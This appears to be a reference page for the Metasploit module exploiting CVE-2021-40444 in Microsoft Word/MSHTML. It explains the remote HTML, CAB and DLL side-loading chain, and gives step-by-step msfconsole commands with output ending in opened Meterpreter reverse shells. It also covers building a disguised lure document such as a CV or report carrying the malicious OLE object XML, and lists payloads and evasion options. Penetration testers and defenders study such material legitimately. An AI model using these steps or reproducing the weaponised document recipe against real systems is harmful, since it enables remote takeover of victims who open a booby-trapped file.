Microsoft Office Word Malicious MSHTML RCE - Metasploit


This page contains detailed information about how to use the exploit/windows/fileformat/word_mshtml_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft Office Word Malicious MSHTML RCE
Module: exploit/windows/fileformat/word_mshtml_rce
Source code: modules/exploits/windows/fileformat/word_mshtml_rce.rb
Disclosure date: 2021-09-23
Last modification time: 2021-12-08 17:22:44 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-40444

This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/windows/fileformat/word_mshtml_rce
msf exploit(word_mshtml_rce) > exploit

Knowledge Base


CVE-2021-40444 is a vulnerability within the MSHTML feature of the Windows operating system that relies on the old Internet Explorer engine. It is triggered by a specially-crafted docx file, so while Word is required for exploitation, the vulnerability itself exists in the Windows Operating System. The specially-crafted docx file contains a reference to an html file containing JavaScript that points to a separately-hosted CAB file. When Word opens the document, it launches the IE preview feature which resolves the linked html and opens the CAB file containing an inf file. Then, because of a zip slip vulnerability, the inf (actually a dll payload) file is stored locally and set to be opened by the control panel (cpl). The result is a side-loaded dll payload on the system running as the user who opened the document.

Vulnerable Application


The malicious document exploiting CVE-2021-40444 loads remote HTML code with active JavaScript.

The attacking code dynamically creates a new HTMLFile ActiveX object in-memory and injects into it JavaScript code that loads an HTML ActiveX installation object. The new object downloads a remote compressed .cab archive.

The cab archive hide a file which is supposed to describe the object’s installation parameters, but in this case is used to disguise the DLL payload.

Make your lab

You need official version of Microsoft Office installed (using a valid licence). And stay unpatched for this.

The exploitation don't work on unlicensed version.

Tested on Microsoft Windows 10 1909 w/ Microsoft Office Word 2016.

Verification Steps


  1. Start msfconsole
  2. use exploit/windows/fileformat/word_mshtml_rce
  3. set SRVHOST [IP]
  4. set LHOST [IP]
  5. run

Options


OBFUSCATE

Obfuscate JavaScript content. Default: true

DocxTemplate

This is an advanced option.

A DOCX file that will be used as a template to build the exploit.

Targets


  • Hosted: Prepares the docx file and CAB file, then launches an http server to serve the CAB file and deliver the payload.

Scenarios


Basic use

  1. Generate the exploit as following.

    msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce
    [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set SRVHOST 172.20.7.36
    SRVHOST => 172.20.7.36
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set LHOST 172.20.7.36
    LHOST => 172.20.7.36
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set VERBOSE true
    VERBOSE => true
    msf6 exploit(windows/fileformat/word_mshtml_rce) > run
    [*] Using URL: http://172.20.7.36:8080/x58G8ZxLbZ
    [*] Server started.
    [*] CVE-2021-40444: Generate a malicious docx file
    [*] Using template '/opt/metasploit/data/exploits/cve-2021-40444.docx'
    [*] Parsing item from template: [Content_Types].xml
    [*] Parsing item from template: _rels/
    [*] Parsing item from template: _rels/.rels
    [*] Parsing item from template: docProps/
    [*] Parsing item from template: docProps/core.xml
    [*] Parsing item from template: docProps/app.xml
    [*] Parsing item from template: word/
    [*] Parsing item from template: word/theme/
    [*] Parsing item from template: word/theme/theme1.xml
    [*] Parsing item from template: word/styles.xml
    [*] Parsing item from template: word/settings.xml
    [*] Parsing item from template: word/document.xml
    [*] Parsing item from template: word/_rels/
    [*] Parsing item from template: word/_rels/document.xml.rels
    [*] Parsing item from template: word/fontTable.xml
    [*] Parsing item from template: word/webSettings.xml
    [*] Injecting payload in docx document
    [*] Finalizing docx 'msf.docx'
    [+] msf.docx stored at /home/mekhalleh/.msf4/local/msf.docx
    
  2. Execute the DOCX document on a remote vulnerable system.

    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending CAB Payload
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: cc1d5e18
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 7e6fb805
    [*] 172.20.7.36      word_mshtml_rce - Sending CAB Payload
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 620a35dd
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 7e6fb805
    [*] Sending stage (200262 bytes) to 172.20.7.36
    [*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.7.36:57920) at 2021-11-05 16:41:13 +0400
    

Using custom template

  1. Generate a custom DOCX template

    You need to create new office document and personalizing it by your own model (CV, Report, ...).

    The easy way, copy and paste (keep formating) from data/exploits/cve-2021-40444.docx.

    You can copy this anywhere in the document.

    Save the document and unpack this.

    Check that word/documment.xml contains something like:

    <w:object w:dxaOrig="4320" w:dyaOrig="4320">
      <v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
        <v:stroke joinstyle="miter"/>
        <v:formulas>
          <v:f eqn="if lineDrawn pixelLineWidth 0"/>
          <v:f eqn="sum @0 1 0"/>
          <v:f eqn="sum 0 0 @1"/>
          <v:f eqn="prod @2 1 2"/>
          <v:f eqn="prod @3 21600 pixelWidth"/>
          <v:f eqn="prod @3 21600 pixelHeight"/>
          <v:f eqn="sum @0 0 1"/>
          <v:f eqn="prod @6 1 2"/>
          <v:f eqn="prod @7 21600 pixelWidth"/>
          <v:f eqn="sum @8 21600 0"/>
          <v:f eqn="prod @7 21600 pixelHeight"/>
          <v:f eqn="sum @10 21600 0"/>
        </v:formulas>
        <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
        <o:lock v:ext="edit" aspectratio="t"/>
      </v:shapetype>
      <v:shape id="_x0000_i1025" type="#_x0000_t75" style="width:3.75pt;height:3.75pt" o:ole="">
        <v:imagedata r:id="rId4" o:title="" cropbottom="64444f" cropright="64444f"/>
      </v:shape>
      <o:OLEObject Type="Link" ProgID="TARGET_HERE" ShapeID="_x0000_i1025" DrawAspect="Content" r:id="rId5" UpdateMode="OnCall">
        <o:LinkType>EnhancedMetaFile</o:LinkType>
        <o:LockedField>false</o:LockedField>
        <o:FieldCodes>\f 0</o:FieldCodes>
      </o:OLEObject>
    </w:object>
    

    Check that word/_rels/document.xml.rels have good relation to the above thing:

    <Relationship Id="rId32" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="TARGET_HERE" TargetMode="External"/>
    <Relationship Id="rId31" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="NULL" TargetMode="External"/>
    

    Pack that to create word document to used as template.

  2. Use the template with msfconsole.

    msf6 exploit(windows/fileformat/word_mshtml_rce) > use exploit/windows/fileformat/word_mshtml_rce
    [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set customtemplate /tmp/readme.docx
    customtemplate => /tmp/readme.docx
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set srvhost 172.20.7.36
    srvhost => 172.20.7.36
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set lhost 172.20.7.36
    lhost => 172.20.7.36
    msf6 exploit(windows/fileformat/word_mshtml_rce) > set verbose true
    verbose => true
    msf6 exploit(windows/fileformat/word_mshtml_rce) > run
    [*] Using URL: http://172.20.7.36:8080/c6RhuAJ0fcW7
    [*] Server started.
    [*] CVE-2021-40444: Generate a malicious docx file
    [*] Using template '/tmp/readme.docx'
    [*] Parsing item from template: [Content_Types].xml
    [*] Parsing item from template: _rels/
    [*] Parsing item from template: _rels/.rels
    [*] Parsing item from template: docProps/
    [*] Parsing item from template: docProps/core.xml
    [*] Parsing item from template: docProps/app.xml
    [*] Parsing item from template: word/
    [*] Parsing item from template: word/theme/
    [*] Parsing item from template: word/theme/theme1.xml
    [*] Parsing item from template: word/styles.xml
    [*] Parsing item from template: word/settings.xml
    [*] Parsing item from template: word/endnotes.xml
    [*] Parsing item from template: word/footnotes.xml
    [*] Parsing item from template: word/document.xml
    [*] Parsing item from template: word/media/
    [*] Parsing item from template: word/media/image11.jpg
    [*] Parsing item from template: word/media/image17.jpg
    [*] Parsing item from template: word/media/image4.png
    [*] Parsing item from template: word/media/image18.jpg
    [*] Parsing item from template: word/media/image10.jpg
    [*] Parsing item from template: word/media/image15.jpg
    [*] Parsing item from template: word/media/image19.jpg
    [*] Parsing item from template: word/media/image3.jpg
    [*] Parsing item from template: word/media/image7.jpg
    [*] Parsing item from template: word/media/image14.png
    [*] Parsing item from template: word/media/image1.png
    [*] Parsing item from template: word/media/image8.jpg
    [*] Parsing item from template: word/media/image9.jpg
    [*] Parsing item from template: word/media/image16.jpg
    [*] Parsing item from template: word/media/image12.jpg
    [*] Parsing item from template: word/media/image13.jpg
    [*] Parsing item from template: word/media/image2.png
    [*] Parsing item from template: word/media/image5.png
    [*] Parsing item from template: word/media/image6.jpg
    [*] Parsing item from template: word/_rels/
    [*] Parsing item from template: word/_rels/settings.xml.rels
    [*] Parsing item from template: word/_rels/document.xml.rels
    [*] Parsing item from template: word/fontTable.xml
    [*] Parsing item from template: word/webSettings.xml
    [*] Parsing item from template: word/numbering.xml
    [*] Injecting payload in docx document
    [*] Finalizing docx 'msf.docx'
    [+] msf.docx stored at /home/mekhalleh/.msf4/local/msf.docx
    
  3. Execute the DOCX document on a remote vulnerable system.

    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending HTML Payload
    [*] 172.20.7.36      word_mshtml_rce - Obfuscate JavaScript content
    [*] 172.20.7.36      word_mshtml_rce - Sending CAB Payload
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: f3189fad
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 7e6fb805
    [*] 172.20.7.36      word_mshtml_rce - Sending CAB Payload
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 3b8886e6
    [*] 172.20.7.36      word_mshtml_rce - Data block added w/ checksum: 7e6fb805
    [*] Sending stage (200262 bytes) to 172.20.7.36
    [*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.7.36:59004) at 2021-11-08 19:51:01 +0400
    

References


  1. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
  2. https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/
  3. http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  4. https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md
  5. https://github.com/klezVirus/CVE-2021-40444

Go back to menu.

Msfconsole Usage


Here is how the windows/fileformat/word_mshtml_rce exploit module looks in the msfconsole:

msf6 > use exploit/windows/fileformat/word_mshtml_rce

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/word_mshtml_rce) > show info

       Name: Microsoft Office Word Malicious MSHTML RCE
     Module: exploit/windows/fileformat/word_mshtml_rce
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-23

Provided by:
  lockedbyte
  klezVirus
  thesunRider
  mekhalleh (RAMELLA S��bastien)

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Hosted

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILENAME   msf.docx         no        The file name.
  OBFUSCATE  true             yes       Obfuscate JavaScript content.
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module creates a malicious docx file that when opened in Word 
  on a vulnerable Windows system will lead to code execution. This 
  vulnerability exists because an attacker can craft a malicious 
  ActiveX control to be used by a Microsoft Office document that hosts 
  the browser rendering engine.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-40444
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
  https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/
  http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md
  https://github.com/klezVirus/CVE-2021-40444

Module Options


This is a complete list of options available in the windows/fileformat/word_mshtml_rce exploit:

msf6 exploit(windows/fileformat/word_mshtml_rce) > show options

Module options (exploit/windows/fileformat/word_mshtml_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME   msf.docx         no        The file name.
   OBFUSCATE  true             yes       Obfuscate JavaScript content.
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.170  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Hosted

Advanced Options


Here is a complete list of advanced options supported by the windows/fileformat/word_mshtml_rce exploit:

msf6 exploit(windows/fileformat/word_mshtml_rce) > show advanced

Module advanced options (exploit/windows/fileformat/word_mshtml_rce):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   DocxTemplate                             no        A DOCX file that will be used as a template to build the exploit.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1
                                                      .1, TLS1.2)
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/fileformat/word_mshtml_rce module can exploit:

msf6 exploit(windows/fileformat/word_mshtml_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Hosted

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/fileformat/word_mshtml_rce exploit:

msf6 exploit(windows/fileformat/word_mshtml_rce) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   37  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   38  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   39  payload/windows/x64/powershell_reverse_tcp_ssl                       normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   40  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   41  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   42  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   43  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   44  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   45  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   46  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   47  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   48  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   49  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   50  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   51  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   52  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   53  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   54  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   55  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   56  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   57  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   58  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   59  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   60  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   61  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   62  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   63  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/fileformat/word_mshtml_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/fileformat/word_mshtml_rce) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, r
                                                        andom_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This template cannot be used because it is missing: <FNAME>


Here is a relevant code snippet related to the "This template cannot be used because it is missing: <FNAME>" error message:

202:	
203:	  def get_file_in_docx(fname)
204:	    i = @docx.find_index { |item| item[:fname] == fname }
205:	
206:	    unless i
207:	      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
208:	    end
209:	
210:	    @docx.fetch(i)[:data]
211:	  end
212:	

This template cannot be used because it is missing: word/document.xml


Here is a relevant code snippet related to the "This template cannot be used because it is missing: word/document.xml" error message:

215:	  end
216:	
217:	  def inject_docx
218:	    document_xml = get_file_in_docx('word/document.xml')
219:	    unless document_xml
220:	      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
221:	    end
222:	
223:	    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
